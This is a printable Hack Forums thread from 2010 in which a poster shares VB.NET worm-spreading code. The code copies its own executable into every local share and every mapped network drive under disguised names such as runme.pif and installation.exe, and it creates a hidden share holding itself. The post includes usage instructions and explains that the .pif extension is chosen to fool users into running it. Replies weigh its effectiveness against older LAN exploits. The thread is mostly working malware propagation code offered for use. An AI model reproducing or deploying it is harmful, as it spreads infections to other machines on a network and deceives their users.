Hack Forums
[.NET] [VB.NET] network {local} spread - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [VB.NET] network {local} spread (/showthread.php?tid=666792)



[VB.NET] network {local} spread - unknown123456 - Sep 8, 2010

Code
Module spread

    Public Sub Share()

      

        Try
            Dim shares As New ManagementObjectSearcher("select * from win32_share")
            For Each serv As ManagementObject In shares.[Get]()
                Dim shareName As String = Convert.ToString(serv("Name"))
                If Not shareName.Contains("$") Then
                    File.Copy(Application.ExecutablePath, "\\" + Environment.MachineName & "\" & shareName & "\runme.pif", True)
                End If
            Next
        Catch ex As Exception
        End Try

  

        Try
            Dim key As String = "Software\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU\"
            Dim reg As RegistryKey = Registry.CurrentUser.OpenSubKey(key)


            For Each valuename As String In reg.GetValueNames()
                Dim path As String = reg.GetValue(valuename).ToString()
                If valuename.ToLower() <> "mrulist" Then
                    Try
                        File.Copy(Application.ExecutablePath, path & "\\installation.exe", True)
                        File.Copy(Application.ExecutablePath, path & "\\start.pif", True)
                    Catch er As Exception

                    End Try
                End If
            Next
            reg.Close()
        Catch er As Exception
        End Try
    End Sub

    Public Sub CreateShare(ByVal dir As String, ByVal name As String)

    
        Try
            Directory.CreateDirectory(dir)
            Dim managementClass As New ManagementClass("Win32_Share")
            Dim inParams As ManagementBaseObject = managementClass.GetMethodParameters("Create")
            Dim outParams As ManagementBaseObject
            inParams("Description") = name
            inParams("Name") = name
            inParams("Path") = dir
            inParams("Type") = &H0
            outParams = managementClass.InvokeMethod("Create", inParams, Nothing)

    
      
            If CUInt(outParams.Properties("ReturnValue").Value) = 0 Then

                If Directory.Exists(dir) Then
                    Dim d As New DirectoryInfo(dir)
                    d.Attributes = FileAttributes.Hidden
                End If

            End If
        Catch e As Exception
        End Try
    End Sub

credits to yeha worm , improved code and converted to vb.net

usage:
Code
Share()
            CreateShare(Environment.GetEnvironmentVariable("programfiles") & "/no-access", "run.pif")

the share() function will basically copy the worm into every shared folder/drive on the local machine
the create share will create a shared folder with itself in it , trying to get a network user browsing in the network to run the worm (i know it will rarely work, but anyways its a spreading method , and nearly totally hidden)

so why do i use pif extension for my worm copies? they seem to be less harmfull (more harmless? what ever lol) than exe,scr or com files, also maybe the user will mistake it with a .lnk (non executable link file)
because a pif file is actually a executable lnk file for ms-dos applications


sorry for my bad english


* - Da Loser - Sep 8, 2010

nice share.

but yeha worm is bad :(

it don't work effectively.


* - unknown123456 - Sep 8, 2010

(Sep 8, 2010 03:00 PM)HF Troll Wrote:  nice share.

but yeha worm is bad :(

it don't work effectively.

probably it is, but never the less , the share folder-infection-method-blabla-thingy are using many other worms also .


* - Da Loser - Sep 8, 2010

(Sep 8, 2010 03:07 PM)pcquad Wrote:  probably it is, but never the less , the share folder-infection-method-blabla-thingy are using many other worms also .

yes but most noob's dont know that netshare/lan spread using drop to a shared folder. dont work very well.

not as well as exploits , aka real LAN Spread.

like dcom, llass etc.


* - unknown123456 - Sep 8, 2010

(Sep 8, 2010 03:20 PM)HF Troll Wrote:  yes but most noob's dont know that netshare/lan spread using drop to a shared folder. dont work very well.

not as well as exploits , aka real LAN Spread.

like dcom, llass etc.

dcom and lsass are about 5 and 7 years old O.o
you would need a windows xp sp1 in order to get those exploits working...


* - Asus - Sep 8, 2010

Nice share, thanks and its useful :D


* - BlackCoderBoy - Aug 13, 2013

nice bro thanks for code its very important